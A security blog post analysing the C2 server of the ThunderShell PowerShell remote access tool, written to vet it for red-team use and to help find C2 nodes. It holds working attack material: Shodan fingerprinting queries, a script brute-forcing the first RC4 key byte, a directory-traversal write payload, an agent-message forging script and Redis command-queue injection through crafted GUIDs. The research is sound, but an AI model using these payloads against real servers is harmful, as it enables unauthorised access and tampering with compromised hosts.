Hunting ThunderShell C2

ThunderShell is a PowerShell based Remote Access Tool (RAT) that relies on HTTP requests to communicate with the C2. All of the traffic is subsequently encrypted with RC4 in order to protect the data. My primary focus during this investigation was on the C2, and if there are any design issues to be concerned about before possibly using this in any future Red Team engagements.

Installation

The C2 is written in Python, and does not have a huge list of dependencies as its sole responsibility is to communicate with agents and to deliver second stage payloads as required. ThunderShell does rely on Redis-server for storing information about agents, and for queuing commands.

sudo apt-get install redis-server python-redis
git clone https://github.com/Mr-Un1k0d3r/ThunderShell.git

ThunderShell comes with a simple configuration file default.json. Go ahead and update the http-host with your IP and run the C2 with python ./ThunderShell.py default.json

{
        "redis-host": "localhost",
        "redis-port": 6379,

        "http-host": "192.168.1.124",
        "http-port": 8000,
        "http-server": "Microsoft-IIS/7.5",
        "http-download-path": "cat.png",
        "http-default-404": "default.html",

        "https-enabled": "off",
        "https-cert-path": "cert.pem",

        "encryption-key": "test",
        "max-output-timeout": 5
}

Fingerprinting the C2

Now that the C2 listener is running, it’s time to do some basic fingerprinting with Curl to see what we’re working with before digging into the code. First, we do a simple GET request on / and include the headers to see how the server looks.

curl http://192.168.1.124:8000/ -i

HTTP/1.0 200 OK
Server: Microsoft-IIS/7.5 
Date: Mon, 11 Dec 2017 16:30:50 GMT
Content-Type: text/html

HTTP/1.0 stands out, as curl should be using HTTP/1.1 as the protocol. Further testing with ncat verified that the server always replies with HTTP/1.0 as the protocol despite the request. This will come in handy for identifying C2 nodes using Shodan.

We also see the server showing as Microsoft-IIS/7.5, but that shouldn’t be a surprise as we saw that in default.json earlier. This is obviously variable, but people are generally lazy and prefer defaults. We’ll do a quick search using just these two identifiers along with negating some common headers to see what we can find.

"Microsoft-IIS/7.5" "HTTP/1.0 200 OK"  -"Set-Cookie" "Content-Type: text/html" -"Content-Length:" -"X-Powered-By"

The above search reveals two servers, at least one of which fits the additional indicators that we discuss later.

To continue testing, hit /cat.png a couple of times. This is the default location for the second stage loader. Notice that the variables change when requesting cat.png, so this is being dynamically generated in an attempt to make it pass Anti-Virus and Endpoint Protection.

curl http://192.168.1.124:8000/cat.png

Digging into the Code

The source code for the HTTP handler is in core/httpd.py.

def do_POST(self):
    guid = ""
    try:
        guid = self.path.split('?', 1)[1]
    except:
        Log.log_error("Invalid request no GUID", self.path)
        self.return_data()
        return
        
    self.db.update_checkin(guid)

    length = int(self.headers.getheader("Content-Length"))
    data = self.rfile.read(length)
    try:
        data = self.rc4.crypt(base64.b64decode(data))
    except:
        Log.log_error("Invalid base64 data received", self.path)
        self.return_data()
        return 
    
    parser = HTTPDParser(config)
    self.output = base64.b64encode(self.rc4.crypt(parser.parse_cmd(guid, data)))
    
    self.return_data()

Inside the function below, we see that the GUID for the agent is being pulled from the URI after the question mark. This is only for POST requests, so we can reach this portion of the code by using a command similar to the following.

curl http://192.168.1.124:8000/?test -X POST
curl: (52) Empty reply from server

This gives us an empty reply from server error. There must have been an issue server side, so if you look in the window running ThunderShell, you’ll see the following exception was thrown. This makes it easy for us to verify that a server is indeed running the C2 server by using this as a fingerprinting technique.

----------------------------------------
Exception happened during processing of request from ('192.168.1.124', 52068)
Traceback (most recent call last):
  File "/usr/lib/python2.7/SocketServer.py", line 290, in _handle_request_noblock
    self.process_request(request, client_address)
  File "/usr/lib/python2.7/SocketServer.py", line 318, in process_request
    self.finish_request(request, client_address)
  File "/usr/lib/python2.7/SocketServer.py", line 331, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "/home/stderr/src/bitrot/src/ThunderShell/thundershell/core/httpd.py", line 26, in __init__
    super(HTTPD, self).__init__(*args, **kwargs)
  File "/usr/lib/python2.7/SocketServer.py", line 652, in __init__
    self.handle()
  File "/usr/lib/python2.7/BaseHTTPServer.py", line 340, in handle
    self.handle_one_request()
  File "/usr/lib/python2.7/BaseHTTPServer.py", line 328, in handle_one_request
    method()
  File "/home/stderr/src/bitrot/src/ThunderShell/thundershell/core/httpd.py", line 44, in do_POST
    length = int(self.headers.getheader("Content-Length"))
TypeError: int() argument must be a string or a number, not 'NoneType'
----------------------------------------

Now, let’s provide it with some data and see if we get anything back from the server.

curl http://192.168.1.124:8000/?test -X POST -d "test"
lQ==

We got a reply that appears to be base64 encoded. Let’s see what the value is.

echo lQ== | base64 -d | xxd
00000000: 95

Leaking the first byte of the RC4 key

Inside of the do_POST function, we had a call to parse_cmd, which is displayed below.

def __init__(self, config):
...
	self.output = ";"
...
def parse_cmd(self, guid, data):
    cmd = data.split(" ", 1)[0].lower()
    if self.cmds.has_key(cmd):
        callback = self.cmds[cmd]
        callback(guid, data)
    else:
        # I assume we got command output here and save it
        if not data.strip() == "":
            self.db.push_output(guid, data)
            Log.log_shell(guid, "Received", data)
        
    return self.output

So the byte that was returned earlier was the output, which is initialized as a semicolon “;”. By decrypting the returned byte that we got earlier (0x95), we can leak the first byte of the key. If we know the key, then we can access further places in the code by acting as a legitimate agent.

In order to decode the first byte, something similar to the following will find it for you. Change the line x.crypt and replace \x95 with whichever byte is returned from the server.

from core import rc4
for a in range(0,255):
	x = rc4.RC4(chr(a))
	if x.crypt('\x95') == ';':
		print 'Found key!'
		print hex(a)
		break

Almost Directory Traversal with a Write

In the parse_cmd function that we looked at earlier, the following line is called.

Log.log_shell(guid, "Received", data)

The log_shell function is located below.

@staticmethod
def log_shell(guid, type, data):
    path = "%sshell_%s.log" % (Log.create_folder_tree(), guid)
    open(path, "a+").write("[%s] %s:\n%s\n\n" % (time.strftime("%c"), type, data))

As you can see, the user has control of path by way of the GUID. The GUID is simply the second portion of the URL after the question mark. By inserting a /, we are able to trigger a server side exception, because the file is not found.

curl http://192.168.1.124:8000/?test/test -X POST -d 'test'

And the exception

----------------------------------------
Exception happened during processing of request from ('192.168.1.124', 59502)
Traceback (most recent call last):
  File "/usr/lib/python2.7/SocketServer.py", line 290, in _handle_request_noblock
    self.process_request(request, client_address)
  File "/usr/lib/python2.7/SocketServer.py", line 318, in process_request
    self.finish_request(request, client_address)
  File "/usr/lib/python2.7/SocketServer.py", line 331, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "/home/stderr/src/bitrot/src/ThunderShell/thundershell/core/httpd.py", line 26, in __init__
    super(HTTPD, self).__init__(*args, **kwargs)
  File "/usr/lib/python2.7/SocketServer.py", line 652, in __init__
    self.handle()
  File "/usr/lib/python2.7/BaseHTTPServer.py", line 340, in handle
    self.handle_one_request()
  File "/usr/lib/python2.7/BaseHTTPServer.py", line 328, in handle_one_request
    method()
  File "/home/stderr/src/bitrot/src/ThunderShell/thundershell/core/httpd.py", line 54, in do_POST
    self.output = base64.b64encode(self.rc4.crypt(parser.parse_cmd(guid, data)))
  File "/home/stderr/src/bitrot/src/ThunderShell/thundershell/core/parser.py", line 28, in parse_cmd
    
  File "/home/stderr/src/bitrot/src/ThunderShell/thundershell/core/log.py", line 18, in log_shell
    open(path, "a+").write("[%s] %s:\n%s\n\n" % (time.strftime("%c"), type, data))
IOError: [Errno 2] No such file or directory: 'logs/11-12-2017/shell_test/test.log'
----------------------------------------

We can force this to reference a valid file, but unless there is a directory in logs/<date>/shell_*, we are unable to use directory traversal. If you create a folder named shell_backup in logs/date, then the following will write output to /tmp/out.log

curl http://192.168.1.124:8000/?/../../../../../../../../../../../tmp/out -X POST -d "test"

Again, this can all be done without knowledge of the shared server-client key.

Sending Agent Commands

If you are able to acquire the key, then you can use the following script to generate requests to interact with the C2 handler.

#!/usr/bin/env python2

from core import rc4
from sys import argv, exit
from base64 import b64encode

if len(argv) != 3:
    print "Usage: %s <key> <message>"
    exit(1)

x = rc4.RC4(argv[1])
print b64encode(x.crypt(argv[2]))

Save the file in the same directory as ThunderShell.py. Requests can now be made with something like the following. This assumes that the password is the default of test.

curl http://192.168.1.124:8000/?testls -X POST -d "$(./test.py test 'register testls Secure your infrastructure')"

Message from attacker

Command Poisoning

Earlier in do_POST, we skipped over a line, but it is very important as it enables us to inject arbitrary data into the command queue for agents. As long as we know the GUID, we can provide arbitrary data to be injected on the next “hello” request from the agent.

self.db.update_checkin(guid)

Inside of core/redisquery.py, update_checkin is defined below.

def update_checkin(self, guid):
	self.delete_entry("%s:active" % guid)
	self.set_key("%s:active" % guid, str(time.time()))

So we have full control over guid, and it’s being entered directly into the redis database with :active appended to the end of the key name. In the function get_cmd below, the query for commands is displayed.

def get_cmd(self, guid): 
	data = list(self.scan_data("%s:cmd:*" % guid))

By injecting guid:cmd: into the guid, we can inject commands to be retrieved by arbitrary GUIDs.

curl http://192.168.1.124:8000/?guid1:cmd:abcd -X POST -d "omfgomfgomfg"

We can retrieve the jobs (if the encryption key is known) by doing the following. We assume that the key is test.

curl http://192.168.1.124:8000/?guid1 -X POST -d "$(./test.py test 'hello')"
omgfomgfomfg

curl http://192.168.1.124:8000/?guid1 -X POST -d "$(./test.py test 'hello')"
n7oWItAbSBzkfHNXJg==

If we decode the data returned from the server, we get 1513015922.47. This value was written in update_checkin to the key %s:active. In HTTPDParser.get_parse_cmd, there’s another call that allows us to inject data into the database.

self.db.push_output(guid, data)
def push_output(self, guid, output):
    self.set_key("%s:output:%s" % (guid, str(time.time())), output)

So, the keys created are the following

  • guid1:cmd:abcd:output:1513017347.17
  • guid1:cmd:abcd:active

The server is expecting the data to be RC4 encrypted and base64 encoded. Therefore, if we want to inject valid commands to end agents with known GUIDs, we also need to know the encryption key. If we know both of these, we can for instance instruct future agents to kill themselves after requesting the next command.

Summary

Coding is hard, and everyone makes mistakes. ThunderShell has a number of security issues built into the C2 handler. This is a good lesson to remember to Red Team everything, even Red Team tools and procedures. Protecting client data is one of our most important goals. Negligently exposing client data or access to nodes is unacceptable. Test your tools before using them in the field.

comments powered by Disqus